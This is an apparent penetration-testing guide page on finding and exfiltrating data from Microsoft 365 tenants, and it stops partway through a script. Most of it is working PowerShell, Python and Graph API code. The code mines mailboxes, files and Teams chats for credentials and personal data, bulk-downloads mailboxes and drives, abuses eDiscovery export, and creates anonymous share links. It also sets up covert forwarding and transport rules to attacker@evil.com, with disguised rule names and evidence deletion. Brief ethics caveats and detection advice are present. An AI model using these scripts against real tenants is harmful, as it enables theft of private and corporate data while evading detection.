Data Discovery & Exfiltration
Locate sensitive data across mailboxes, SharePoint, OneDrive, and Teams, then demonstrate exfiltration paths that prove real-world business impact to stakeholders.
Phase 7 Checklist
0 / 10 completedDuring authorised penetration tests, you will encounter genuine sensitive data — PII, financial records, credentials, and confidential business information. Never extract actual sensitive data from the tenant. Demonstrate the capability by documenting that you could access it (screenshots of search results, file listings, metadata) without downloading or copying the actual content. Discuss data handling boundaries with the client before this phase begins.
🔍 Data Discovery
Microsoft Graph API provides powerful mail search capabilities. With a compromised access token that has Mail.Read or Mail.ReadWrite permissions, you can search any accessible mailbox for sensitive keywords.
Mail.Read for the authenticated user's mailbox, or Mail.Read with application permissions to read all mailboxes. Delegated permissions are scoped to the signed-in user unless they have full mailbox access.
Search the Authenticated User's Mailbox
Use the Graph API $search query parameter to find emails containing sensitive keywords. The search applies across subject, body, and attachment names.
# Search current user's mailbox for password-related content
GET https://graph.microsoft.com/v1.0/me/messages?$search="password"&$select=subject,from,receivedDateTime,bodyPreview&$top=50
# Search for financial data
GET https://graph.microsoft.com/v1.0/me/messages?$search="confidential OR salary OR budget OR SSN"&$select=subject,from,receivedDateTime&$top=50
# Search for credentials and secrets
GET https://graph.microsoft.com/v1.0/me/messages?$search="credentials OR secret OR API key OR connection string"&$top=50
# Search a specific user's mailbox (requires Mail.Read app permission or full access delegation)
GET https://graph.microsoft.com/v1.0/users/cfo@contoso.com/messages?$search="bank account"&$select=subject,from,bodyPreview&$top=25
PowerShell Graph API Search
# Authenticate and search mailbox via Graph
$token = "eyJ0eXAi..." # Your access token
$headers = @{ Authorization = "Bearer $token"; "Content-Type" = "application/json" }
# Define sensitive keywords to search
$keywords = @("password", "credentials", "confidential", "SSN", "bank account", "secret key", "API key")
foreach ($keyword in $keywords) {
$uri = "https://graph.microsoft.com/v1.0/me/messages?`$search=`"$keyword`"&`$select=subject,from,receivedDateTime,bodyPreview&`$top=25"
$results = Invoke-RestMethod -Uri $uri -Headers $headers -Method GET
if ($results.value.Count -gt 0) {
Write-Host "[+] Found $($results.value.Count) emails matching '$keyword'" -ForegroundColor Green
$results.value | ForEach-Object {
Write-Host " Subject: $($_.subject)"
Write-Host " From: $($_.from.emailAddress.address)"
Write-Host " Date: $($_.receivedDateTime)"
Write-Host " Preview: $($_.bodyPreview.Substring(0, [Math]::Min(100, $_.bodyPreview.Length)))..."
Write-Host ""
}
}
}
GraphRunner Email Search
# Use GraphRunner's built-in inbox search
# Searches current user's mailbox for sensitive terms
Invoke-GraphOpenInboxSearch -Tokens $tokens -SearchTerm "password"
# Search for multiple terms
$searchTerms = @("password", "credentials", "secret", "API key", "vpn", "ssh")
foreach ($term in $searchTerms) {
Write-Host "`n[*] Searching for: $term" -ForegroundColor Cyan
Invoke-GraphOpenInboxSearch -Tokens $tokens -SearchTerm $term
}
Compliance Search (Security & Compliance Center)
If you have Compliance Admin or eDiscovery Manager permissions, the Security & Compliance Center provides tenant-wide search capabilities using Keyword Query Language (KQL).
# Connect to Security & Compliance Center
Connect-IPPSSession -UserPrincipalName admin@contoso.com
# Create a compliance search across all mailboxes
New-ComplianceSearch -Name "PenTest-SensitiveData-$(Get-Date -Format yyyyMMdd)" `
-ExchangeLocation All `
-ContentMatchQuery '(subject:"password" OR body:"credentials" OR body:"SSN" OR body:"bank account") AND (date>=2024-01-01)'
# Start the compliance search
Start-ComplianceSearch -Identity "PenTest-SensitiveData-$(Get-Date -Format yyyyMMdd)"
# Check search status
Get-ComplianceSearch -Identity "PenTest-SensitiveData-*" | Format-List Name, Status, Items
# KQL query examples for targeted searches
# Find emails with attachments named passwords.*
New-ComplianceSearch -Name "PenTest-PasswordFiles" `
-ExchangeLocation All `
-ContentMatchQuery 'attachment:"passwords" OR attachment:"credentials" OR attachment:"secrets"'
# Search for emails containing credit card patterns
New-ComplianceSearch -Name "PenTest-CreditCards" `
-ExchangeLocation All `
-ContentMatchQuery 'SensitiveType:"Credit Card Number"'
# Search for emails with specific sensitive info types
New-ComplianceSearch -Name "PenTest-PII" `
-ExchangeLocation All `
-ContentMatchQuery 'SensitiveType:"U.S. Social Security Number (SSN)" OR SensitiveType:"U.K. National Insurance Number"'
KQL Query Syntax Reference
# KQL (Keyword Query Language) syntax for M365 Compliance Search
# Boolean operators
subject:"password" AND from:admin@contoso.com
body:"confidential" OR body:"restricted"
subject:"budget" NOT from:finance@contoso.com
# Property-based searches
from:ceo@contoso.com AND hasattachment:true
to:external@partner.com AND subject:"contract"
received>=2024-06-01 AND received<=2024-12-31
size>5242880 # Emails larger than 5MB
# Attachment searches
attachment:"*.xlsx" AND body:"salary"
attachment:"*.pdf" AND subject:"confidential"
attachmentnames:passwords
# Sensitive information type searches
SensitiveType:"Credit Card Number"
SensitiveType:"U.S. Social Security Number (SSN)"
SensitiveType:"Azure Storage Account Key"
SensitiveType:"All credential types"
# Wildcard and proximity
subject:pass* # Matches password, passport, passphrase
body:"API key"~5 # API within 5 words of key
SearchCreated and SearchStarted activities. Graph API mail searches are logged as MailItemsAccessed events in mailbox audit logs. Defenders with audit log monitoring will detect these searches.
SharePoint and OneDrive often contain the most sensitive organisational data — financial reports, HR documents, strategic plans, and credential files. The Graph Search API allows searching across all accessible document libraries in a single query.
Files.Read.All or Sites.Read.All for broad search. The search respects the user's existing access permissions — results only include items the authenticated user can access.
Graph Search API — Search Across All Drive Items
# Search across all SharePoint and OneDrive content
POST https://graph.microsoft.com/v1.0/search/query
Content-Type: application/json
{
"requests": [
{
"entityTypes": ["driveItem"],
"query": {
"queryString": "password OR credentials OR secret"
},
"from": 0,
"size": 25
}
]
}
# Search for specific sensitive file types
POST https://graph.microsoft.com/v1.0/search/query
Content-Type: application/json
{
"requests": [
{
"entityTypes": ["driveItem"],
"query": {
"queryString": "filetype:xlsx (password OR salary OR budget OR confidential)"
},
"from": 0,
"size": 25
}
]
}
PowerShell: Automated Sensitive File Discovery
$token = "eyJ0eXAi..."
$headers = @{
Authorization = "Bearer $token"
"Content-Type" = "application/json"
}
# Search queries targeting common sensitive file patterns
$searches = @(
'filename:password',
'filename:credentials',
'filename:secrets',
'filename:budget',
'filename:salary',
'filename:confidential',
'filetype:xlsx (password OR salary OR SSN)',
'filetype:csv (password OR credentials OR export)',
'filetype:txt (password OR key OR secret)',
'filetype:pdf (confidential OR restricted)',
'"connection string" OR "client secret" OR "API key"',
'filename:*.kdbx OR filename:*.key OR filename:*.pem OR filename:*.pfx'
)
foreach ($query in $searches) {
$body = @{
requests = @(
@{
entityTypes = @("driveItem")
query = @{ queryString = $query }
from = 0
size = 25
}
)
} | ConvertTo-Json -Depth 5
$result = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" `
-Headers $headers -Method POST -Body $body
$hits = $result.value[0].hitsContainers[0]
if ($hits.total -gt 0) {
Write-Host "[+] Query: $query --> $($hits.total) results" -ForegroundColor Green
foreach ($hit in $hits.hits) {
$resource = $hit.resource
Write-Host " Name: $($resource.name)"
Write-Host " Path: $($resource.webUrl)"
Write-Host " Modified: $($resource.lastModifiedDateTime)"
Write-Host " Size: $([math]::Round($resource.size / 1KB, 1)) KB"
Write-Host ""
}
}
}
GraphRunner SharePoint & OneDrive Search
# Use GraphRunner to search SharePoint and OneDrive
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "password"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "credentials"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "confidential"
# Search for specific file types
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "filetype:xlsx salary"
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "filetype:kdbx"
Enumerate All SharePoint Sites and Their Document Libraries
# List all SharePoint sites the user can access
GET https://graph.microsoft.com/v1.0/sites?search=*&$select=displayName,webUrl,id&$top=100
# List document libraries (drives) for a specific site
GET https://graph.microsoft.com/v1.0/sites/{site-id}/drives?$select=name,id,webUrl
# List root contents of a document library
GET https://graph.microsoft.com/v1.0/drives/{drive-id}/root/children?$select=name,size,lastModifiedDateTime,webUrl
# Recursively list all items in a folder
GET https://graph.microsoft.com/v1.0/drives/{drive-id}/items/{item-id}/children?$select=name,size,file,folder
# Search within a specific drive
GET https://graph.microsoft.com/v1.0/drives/{drive-id}/root/search(q='password')?$select=name,webUrl,size
FileAccessed and SearchQueryPerformed events in the Unified Audit Log to detect unusual search patterns.
Microsoft Teams is a goldmine for penetration testers. Users regularly share credentials, API keys, connection strings, and internal URLs in chat messages — treating Teams as an informal communication channel where security awareness drops significantly.
Chat.Read for 1:1 and group chats, ChannelMessage.Read.All for team channel messages. Application permissions grant tenant-wide access to all messages.
Read Teams Channel Messages
# List all teams the user is a member of
GET https://graph.microsoft.com/v1.0/me/joinedTeams?$select=displayName,id
# List channels in a team
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels?$select=displayName,id
# Read messages from a channel (last 50)
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages?$top=50
# Read replies to a specific message
GET https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages/{message-id}/replies
Read 1:1 and Group Chat Messages
# List all chats for the current user
GET https://graph.microsoft.com/v1.0/me/chats?$select=topic,chatType,lastUpdatedDateTime&$top=50&$orderby=lastUpdatedDateTime desc
# Read messages from a specific chat
GET https://graph.microsoft.com/v1.0/me/chats/{chat-id}/messages?$top=50
# Get chat members to identify high-value conversations
GET https://graph.microsoft.com/v1.0/me/chats/{chat-id}/members
Automated Teams Message Mining
$token = "eyJ0eXAi..."
$headers = @{ Authorization = "Bearer $token"; "Content-Type" = "application/json" }
# Sensitive patterns to search for in Teams messages
$patterns = @(
'password\s*[:=]\s*\S+',
'api[_-]?key\s*[:=]\s*\S+',
'secret\s*[:=]\s*\S+',
'connectionstring\s*[:=]\s*\S+',
'server\s*=\s*\S+.*password\s*=\s*\S+',
'https?://\S+:\S+@\S+', # URLs with embedded credentials
'Bearer\s+eyJ[A-Za-z0-9_-]+', # JWT tokens
'AKIA[A-Z0-9]{16}', # AWS access key IDs
'ghp_[A-Za-z0-9]{36}', # GitHub personal access tokens
'xox[bpas]-[A-Za-z0-9-]+' # Slack tokens
)
# Get all joined teams
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers).value
foreach ($team in $teams) {
Write-Host "[*] Team: $($team.displayName)" -ForegroundColor Cyan
$channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels" -Headers $headers).value
foreach ($channel in $channels) {
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels/$($channel.id)/messages?`$top=50" -Headers $headers).value
foreach ($msg in $messages) {
$content = $msg.body.content
foreach ($pattern in $patterns) {
if ($content -match $pattern) {
Write-Host " [!] MATCH in #$($channel.displayName)" -ForegroundColor Red
Write-Host " From: $($msg.from.user.displayName)"
Write-Host " Date: $($msg.createdDateTime)"
Write-Host " Pattern: $pattern"
Write-Host ""
}
}
}
}
}
# Also search 1:1 chats
$chats = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/chats?`$top=50" -Headers $headers).value
foreach ($chat in $chats) {
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/chats/$($chat.id)/messages?`$top=50" -Headers $headers).value
foreach ($msg in $messages) {
$content = $msg.body.content
foreach ($pattern in $patterns) {
if ($content -match $pattern) {
Write-Host " [!] MATCH in Chat ($($chat.chatType))" -ForegroundColor Red
Write-Host " From: $($msg.from.user.displayName)"
Write-Host " Date: $($msg.createdDateTime)"
Write-Host ""
}
}
}
}
Search Teams Messages via Graph Search API
# Use the Search API to search across Teams messages
POST https://graph.microsoft.com/v1.0/search/query
Content-Type: application/json
{
"requests": [
{
"entityTypes": ["chatMessage"],
"query": {
"queryString": "password OR credential OR secret OR API key"
},
"from": 0,
"size": 25
}
]
}
ChatRetrieved and MessageRead audit events. In tenants with Microsoft Purview Communication Compliance enabled, message access patterns are actively monitored. Rate-limit your requests to avoid triggering throttling alerts.
Understanding the organisation's data classification and Data Loss Prevention (DLP) configuration reveals what the organisation considers sensitive and where protection gaps exist. This intelligence guides targeted data discovery toward unprotected high-value assets.
Enumerate Sensitivity Labels
# List all sensitivity labels available in the tenant
GET https://graph.microsoft.com/v1.0/security/informationProtection/sensitivityLabels
# List labels available to the current user
GET https://graph.microsoft.com/v1.0/me/security/informationProtection/sensitivityLabels
# Check label policies applied to the tenant
GET https://graph.microsoft.com/v1.0/security/informationProtection/sensitivityLabels?$select=id,name,description,isActive,parent
Find Files by Sensitivity Label
$token = "eyJ0eXAi..."
$headers = @{ Authorization = "Bearer $token"; "Content-Type" = "application/json" }
# Search for files with specific sensitivity labels
# Files labelled "Highly Confidential" are prime targets
$body = @{
requests = @(
@{
entityTypes = @("driveItem")
query = @{ queryString = 'InformationProtectionLabelId:{label-guid}' }
from = 0
size = 25
}
)
} | ConvertTo-Json -Depth 5
$result = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" `
-Headers $headers -Method POST -Body $body
# Enumerate labels first, then search for documents with each label
$labels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/security/informationProtection/sensitivityLabels" `
-Headers $headers).value
foreach ($label in $labels) {
Write-Host "[*] Label: $($label.name) (ID: $($label.id))" -ForegroundColor Cyan
Write-Host " Description: $($label.description)"
}
DLP Policy Enumeration via PowerShell
# Connect to Security & Compliance Center
Connect-IPPSSession -UserPrincipalName admin@contoso.com
# List all DLP policies
Get-DlpCompliancePolicy | Format-Table Name, Mode, Enabled, Priority
# Get detailed DLP policy rules (shows what sensitive info types are protected)
Get-DlpComplianceRule | Format-List Name, Policy, ContentContainsSensitiveInformation, BlockAccess, NotifyUser
# Check for DLP policy exclusions and gaps
Get-DlpCompliancePolicy | ForEach-Object {
Write-Host "`n[*] Policy: $($_.Name)" -ForegroundColor Cyan
Write-Host " Enabled: $($_.Enabled)"
Write-Host " Mode: $($_.Mode)" # TestWithoutNotifications = DLP is not enforcing
Write-Host " Workload: $($_.Workload)"
Write-Host " Exchange Location: $($_.ExchangeLocation)"
Write-Host " SharePoint Location: $($_.SharePointLocation)"
Write-Host " OneDrive Location: $($_.OneDriveLocation)"
Write-Host " Teams Location: $($_.TeamsLocation)"
# Check for exclusions - these are gaps in coverage
if ($_.ExchangeLocationException) {
Write-Host " [!] Exchange Exclusions: $($_.ExchangeLocationException)" -ForegroundColor Yellow
}
if ($_.SharePointLocationException) {
Write-Host " [!] SharePoint Exclusions: $($_.SharePointLocationException)" -ForegroundColor Yellow
}
if ($_.OneDriveLocationException) {
Write-Host " [!] OneDrive Exclusions: $($_.OneDriveLocationException)" -ForegroundColor Yellow
}
}
# Check if policies are in test mode (not enforcing)
Get-DlpCompliancePolicy | Where-Object { $_.Mode -eq "TestWithoutNotifications" } |
Format-Table Name, Mode
# Policies in TestWithoutNotifications mode detect but do NOT block exfiltration
TestWithoutNotifications mode (not enforcing), workloads not covered by any DLP policy (e.g., Teams locations missing), exclusions for specific users/groups/sites, and sensitive information types that exist in the tenant but have no DLP protection. These gaps represent exfiltration paths.
Enforce mode, not TestWithoutNotifications. Cover all workloads (Exchange, SharePoint, OneDrive, Teams, Endpoints). Minimise exclusions. Use Microsoft Purview Data Classification to discover and label sensitive data that currently has no protection applied.
📤 Exfiltration Techniques
With a valid access token, the Microsoft Graph API can be used to systematically download all emails from a mailbox, all files from a document library, or all data from any accessible M365 service. Pagination support means there is no practical limit to the volume of data that can be extracted.
Python: Bulk Email Download via Graph API
import requests
import json
import os
from datetime import datetime
ACCESS_TOKEN = "eyJ0eXAi..."
GRAPH_BASE = "https://graph.microsoft.com/v1.0"
HEADERS = {
"Authorization": f"Bearer {ACCESS_TOKEN}",
"Content-Type": "application/json"
}
def export_mailbox(target_user="me", output_dir="./exfil_mail"):
"""Export all emails from a target mailbox via Graph API pagination."""
os.makedirs(output_dir, exist_ok=True)
url = f"{GRAPH_BASE}/{target_user}/messages?$select=subject,from,toRecipients,receivedDateTime,body,hasAttachments&$top=100&$orderby=receivedDateTime desc"
total = 0
page = 1
while url:
response = requests.get(url, headers=HEADERS)
if response.status_code != 200:
print(f"[!] Error {response.status_code}: {response.text[:200]}")
break
data = response.json()
messages = data.get("value", [])
for msg in messages:
total += 1
filename = f"{output_dir}/msg_{total:05d}.json"
with open(filename, "w") as f:
json.dump(msg, f, indent=2)
# Download attachments if present
if msg.get("hasAttachments"):
att_url = f"{GRAPH_BASE}/{target_user}/messages/{msg['id']}/attachments"
att_resp = requests.get(att_url, headers=HEADERS)
if att_resp.status_code == 200:
for att in att_resp.json().get("value", []):
att_name = att.get("name", "attachment")
att_dir = f"{output_dir}/attachments"
os.makedirs(att_dir, exist_ok=True)
if att.get("contentBytes"):
import base64
with open(f"{att_dir}/{total:05d}_{att_name}", "wb") as af:
af.write(base64.b64decode(att["contentBytes"]))
print(f" [*] Page {page}: {len(messages)} messages (total: {total})")
# Follow pagination link
url = data.get("@odata.nextLink")
page += 1
print(f"\n[+] Exported {total} emails to {output_dir}")
return total
def export_drive_files(drive_id, output_dir="./exfil_files"):
"""Recursively download all files from a SharePoint/OneDrive drive."""
os.makedirs(output_dir, exist_ok=True)
def download_folder(folder_url, local_path):
response = requests.get(folder_url, headers=HEADERS)
if response.status_code != 200:
return
items = response.json().get("value", [])
for item in items:
if "folder" in item:
# Recurse into subfolder
subfolder = os.path.join(local_path, item["name"])
os.makedirs(subfolder, exist_ok=True)
child_url = f"{GRAPH_BASE}/drives/{drive_id}/items/{item['id']}/children"
download_folder(child_url, subfolder)
elif "file" in item:
# Download file
dl_url = f"{GRAPH_BASE}/drives/{drive_id}/items/{item['id']}/content"
dl_resp = requests.get(dl_url, headers=HEADERS, allow_redirects=True)
filepath = os.path.join(local_path, item["name"])
with open(filepath, "wb") as f:
f.write(dl_resp.content)
size_kb = len(dl_resp.content) / 1024
print(f" [+] {item['name']} ({size_kb:.1f} KB)")
root_url = f"{GRAPH_BASE}/drives/{drive_id}/root/children"
download_folder(root_url, output_dir)
# Usage - demonstrate capability with limited scope
print("[*] Starting mailbox export...")
count = export_mailbox(target_user="me", output_dir="./evidence/mail")
print("\n[*] Starting drive export...")
export_drive_files(drive_id="b!abc123...", output_dir="./evidence/files")
GraphRunner Bulk Operations
# GraphRunner provides built-in bulk export functions
# Search and display inbox results
Invoke-GraphOpenInboxSearch -Tokens $tokens -SearchTerm "password"
# Search SharePoint and OneDrive across the tenant
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "confidential"
# Download files from a specific SharePoint site
Invoke-DownloadSharePointFile -Tokens $tokens -SiteId $siteId -ItemId $itemId
# Dump all accessible Teams messages
Invoke-DumpTeamsMessages -Tokens $tokens
PowerShell: Mailbox Export with Rate Limiting
$token = "eyJ0eXAi..."
$headers = @{ Authorization = "Bearer $token" }
$outputDir = "./evidence/mailbox_export"
New-Item -ItemType Directory -Force -Path $outputDir | Out-Null
$uri = "https://graph.microsoft.com/v1.0/me/messages?`$select=subject,from,receivedDateTime,bodyPreview,hasAttachments&`$top=100&`$orderby=receivedDateTime desc"
$total = 0
while ($uri) {
try {
$response = Invoke-RestMethod -Uri $uri -Headers $headers -Method GET
foreach ($msg in $response.value) {
$total++
$filename = "$outputDir/msg_$($total.ToString('D5')).json"
$msg | ConvertTo-Json -Depth 10 | Out-File -FilePath $filename
}
Write-Host "[*] Downloaded $total messages so far..." -ForegroundColor Cyan
# Pagination
$uri = $response.'@odata.nextLink'
# Rate limiting - avoid Graph API throttling
Start-Sleep -Milliseconds 500
}
catch {
if ($_.Exception.Response.StatusCode -eq 429) {
$retryAfter = $_.Exception.Response.Headers["Retry-After"]
Write-Host "[!] Throttled. Waiting $retryAfter seconds..." -ForegroundColor Yellow
Start-Sleep -Seconds ([int]$retryAfter + 1)
}
else {
Write-Host "[!] Error: $_" -ForegroundColor Red
break
}
}
}
Write-Host "[+] Exported $total emails to $outputDir" -ForegroundColor Green
MailItemsAccessed audit records. Graph API throttling limits (per-app and per-tenant) will trigger 429 Too Many Requests responses at high volumes. Exfiltrating large volumes of data also leaves traces in network monitoring. Consider limiting your demonstration to a representative sample.
Microsoft Purview eDiscovery is the most powerful data access mechanism in M365. If the compromised account holds the eDiscovery Manager, eDiscovery Administrator, or Compliance Administrator role, you can search and export data across every mailbox, every SharePoint site, every OneDrive, and every Teams conversation in the entire tenant — regardless of the user's normal access permissions.
eDiscovery Manager (can search/export within cases they own), eDiscovery Administrator (can access all eDiscovery cases and search across the full tenant), or Compliance Administrator (has broad compliance permissions including eDiscovery).
Create and Run a Compliance Search
# Connect to Security & Compliance PowerShell
Connect-IPPSSession -UserPrincipalName compromised-admin@contoso.com
# Create a broad compliance search across ALL mailboxes and sites
New-ComplianceSearch -Name "PenTest-FullTenant-Search" `
-ExchangeLocation All `
-SharePointLocation All `
-ContentMatchQuery '*' `
-Description "Penetration test - demonstrating tenant-wide search capability"
# Start the search
Start-ComplianceSearch -Identity "PenTest-FullTenant-Search"
# Monitor search progress
do {
$search = Get-ComplianceSearch -Identity "PenTest-FullTenant-Search"
Write-Host "Status: $($search.Status) | Items: $($search.Items) | Size: $($search.Size)"
Start-Sleep -Seconds 10
} while ($search.Status -ne "Completed")
Write-Host "[+] Search completed. Items found: $($search.Items), Size: $($search.Size)"
Export Search Results
# Create an export action for the compliance search results
New-ComplianceSearchAction -SearchName "PenTest-FullTenant-Search" `
-Export `
-ExchangeArchiveFormat SinglePst `
-Format FxStream `
-Scope BothIndexedAndUnindexedItems
# Check export status
Get-ComplianceSearchAction -Identity "PenTest-FullTenant-Search_Export" | Format-List Status, Results
# The export creates a downloadable package in the Compliance Center
# Navigate to: compliance.microsoft.com > eDiscovery > Content Search > Export tab
# Use the eDiscovery Export Tool (ClickOnce) to download the PST/files
# For targeted searches - find all emails with sensitive content
New-ComplianceSearch -Name "PenTest-SensitiveEmails" `
-ExchangeLocation All `
-ContentMatchQuery 'SensitiveType:"Credit Card Number" OR SensitiveType:"U.S. Social Security Number (SSN)" OR body:"password" OR attachment:"credentials"'
Start-ComplianceSearch -Identity "PenTest-SensitiveEmails"
# Search specific high-value mailboxes
New-ComplianceSearch -Name "PenTest-ExecMailboxes" `
-ExchangeLocation "ceo@contoso.com","cfo@contoso.com","cto@contoso.com" `
-ContentMatchQuery 'subject:"confidential" OR subject:"board" OR subject:"acquisition" OR hasattachment:true'
Start-ComplianceSearch -Identity "PenTest-ExecMailboxes"
eDiscovery Premium (Advanced eDiscovery)
# eDiscovery Premium provides case-based investigations with custodian holds
# Create a new eDiscovery case
New-ComplianceCase -Name "PenTest-Case-$(Get-Date -Format yyyyMMdd)" `
-CaseType AdvancedEdiscovery `
-Description "Authorised pentest - demonstrating eDiscovery abuse vector"
# Add custodians (places legal hold on their data)
Add-ComplianceCaseMember -Case "PenTest-Case-*" -Member compromised-admin@contoso.com
# List existing eDiscovery cases (check if any already exist that you can access)
Get-ComplianceCase | Format-Table Name, Status, CaseType, CreatedDateTime
# List members of existing cases
Get-ComplianceCase | ForEach-Object {
Write-Host "[*] Case: $($_.Name)" -ForegroundColor Cyan
Get-ComplianceCaseMember -Case $_.Name
}
SearchCreated, SearchStarted, and CaseCreated events in the Unified Audit Log. Alert on any new compliance search creation outside of approved legal/compliance processes.
Mail forwarding provides ongoing, passive exfiltration. By configuring a mailbox to forward copies of all incoming (and optionally sent) messages to an external address, an attacker receives a continuous stream of the victim's email without needing to repeatedly access the account.
Method 1: Set-Mailbox SMTP Forwarding
This is the most direct method. It configures server-side forwarding at the Exchange transport level — the user has no visibility in Outlook.
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName compromised@contoso.com
# Set SMTP forwarding to external address (and keep a copy in the mailbox)
Set-Mailbox -Identity "target@contoso.com" `
-ForwardingSMTPAddress "attacker@evil.com" `
-DeliverToMailboxAndForward $true
# Verify forwarding is configured
Get-Mailbox -Identity "target@contoso.com" | Format-List ForwardingSMTPAddress, DeliverToMailboxAndForward
# Remove forwarding (cleanup after testing)
Set-Mailbox -Identity "target@contoso.com" `
-ForwardingSMTPAddress $null `
-DeliverToMailboxAndForward $false
# Check ALL mailboxes for existing forwarding (enumeration)
Get-Mailbox -ResultSize Unlimited | Where-Object {
$_.ForwardingSMTPAddress -ne $null -or $_.ForwardingAddress -ne $null
} | Format-Table DisplayName, PrimarySmtpAddress, ForwardingSMTPAddress, ForwardingAddress, DeliverToMailboxAndForward
Method 2: Inbox Rules via PowerShell
Inbox rules are more flexible and can be configured to forward only messages matching specific criteria, making them harder to detect.
# Create an inbox rule that forwards all email to an external address
New-InboxRule -Name "Security Audit" `
-Mailbox "target@contoso.com" `
-ForwardTo "attacker@evil.com" `
-MarkAsRead $true `
-StopProcessingRules $true
# More stealthy: only forward emails from specific senders or with keywords
New-InboxRule -Name ".." `
-Mailbox "target@contoso.com" `
-SubjectOrBodyContainsWords "password","credentials","confidential","wire transfer" `
-ForwardTo "attacker@evil.com" `
-MarkAsRead $true
# Forward and delete (very aggressive - removes evidence from mailbox)
New-InboxRule -Name "RSS Subscription" `
-Mailbox "target@contoso.com" `
-ForwardTo "attacker@evil.com" `
-DeleteMessage $true
# List all inbox rules for a mailbox (enumeration / cleanup)
Get-InboxRule -Mailbox "target@contoso.com" | Format-Table Name, Enabled, ForwardTo, RedirectTo, DeleteMessage
# Remove a rule (cleanup)
Remove-InboxRule -Mailbox "target@contoso.com" -Identity "Security Audit" -Confirm:$false
Method 3: Graph API Inbox Rule Creation
# Create an inbox rule via Graph API
POST https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules
Content-Type: application/json
{
"displayName": "Security Update Notifications",
"sequence": 1,
"isEnabled": true,
"conditions": {
"subjectContains": ["password", "credential", "secret", "confidential"]
},
"actions": {
"forwardTo": [
{
"emailAddress": {
"name": "Attacker",
"address": "attacker@evil.com"
}
}
],
"markAsRead": true,
"stopProcessingRules": true
}
}
# Create a rule that forwards ALL email (no conditions)
POST https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules
Content-Type: application/json
{
"displayName": ".",
"sequence": 1,
"isEnabled": true,
"actions": {
"forwardTo": [
{
"emailAddress": {
"address": "attacker@evil.com"
}
}
]
}
}
# List existing rules (enumeration)
GET https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules
Method 4: Mail Flow (Transport) Rules
If you have Exchange Admin permissions, transport rules operate at the organisational level and can BCC all email from specific users or the entire organisation to an external address.
# Create a transport rule that BCCs all email from high-value targets
New-TransportRule -Name "Compliance Journaling" `
-From "ceo@contoso.com","cfo@contoso.com" `
-BlindCopyTo "attacker@evil.com" `
-Priority 0
# BCC all outbound email from the entire organisation
New-TransportRule -Name "Outbound Audit" `
-SentToScope NotInOrganization `
-BlindCopyTo "attacker@evil.com"
# List all transport rules (enumeration)
Get-TransportRule | Format-Table Name, State, Priority, BlindCopyTo
# Remove transport rule (cleanup)
Remove-TransportRule -Identity "Compliance Journaling" -Confirm:$false
Get-RemoteDomain Default | Format-List AutoForwardEnabled. If AutoForwardEnabled is $false, SMTP forwarding and inbox rule forwarding to external recipients will be silently blocked. Transport rules bypass this restriction. All forwarding rule creation generates New-InboxRule and Set-Mailbox audit events.
Set-RemoteDomain Default -AutoForwardEnabled $false. Create an alert policy in the Security & Compliance Center for Creation of forwarding/redirect rule. Regularly audit inbox rules across all mailboxes with Get-InboxRule. Use Conditional Access to restrict Exchange Online PowerShell access.
Creating anonymous (anyone) sharing links for sensitive documents is a powerful exfiltration mechanism. These links require no authentication and can be accessed by anyone with the URL — bypassing all access controls. Similarly, using the OneDrive sync client or Graph API to bulk-download document libraries is effective for wholesale exfiltration.
Create Anonymous Sharing Links via Graph API
# Create an anonymous (anyone) sharing link for a file
POST https://graph.microsoft.com/v1.0/drives/{drive-id}/items/{item-id}/createLink
Content-Type: application/json
{
"type": "view",
"scope": "anonymous"
}
# Create an anonymous link with edit permissions
POST https://graph.microsoft.com/v1.0/drives/{drive-id}/items/{item-id}/createLink
Content-Type: application/json
{
"type": "edit",
"scope": "anonymous"
}
# Create a link with an expiration (less suspicious)
POST https://graph.microsoft.com/v1.0/drives/{drive-id}/items/{item-id}/createLink
Content-Type: application/json
{
"type": "view",
"scope": "anonymous",
"expirationDateTime": "2025-12-31T23:59:59Z"
}
Automated Sharing Link Generation
$token = "eyJ0eXAi..."
$headers = @{ Authorization = "Bearer $token"; "Content-Type" = "application/json" }
# Find sensitive files first
$searchBody = @{
requests = @(
@{
entityTypes = @("driveItem")
query = @{ queryString = "filetype:xlsx confidential OR salary OR budget" }
from = 0
size = 10
}
)
} | ConvertTo-Json -Depth 5
$results = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" `
-Headers $headers -Method POST -Body $searchBody
# Create anonymous sharing links for discovered sensitive files
$hits = $results.value[0].hitsContainers[0].hits
foreach ($hit in $hits) {
$driveId = $hit.resource.parentReference.driveId
$itemId = $hit.resource.id
$name = $hit.resource.name
$linkBody = @{
type = "view"
scope = "anonymous"
} | ConvertTo-Json
try {
$link = Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/drives/$driveId/items/$itemId/createLink" `
-Headers $headers -Method POST -Body $linkBody
Write-Host "[+] $name" -ForegroundColor Green
Write-Host " Link: $($link.link.webUrl)" -ForegroundColor Yellow
}
catch {
Write-Host "[-] $name - Anonymous sharing may be disabled" -ForegroundColor Red
}
}
Bulk Download via Graph API
# Download all files from a SharePoint document library
$token = "eyJ0eXAi..."
$headers = @{ Authorization = "Bearer $token" }
$driveId = "b!abc123..."
$outputDir = "./evidence/sharepoint_export"
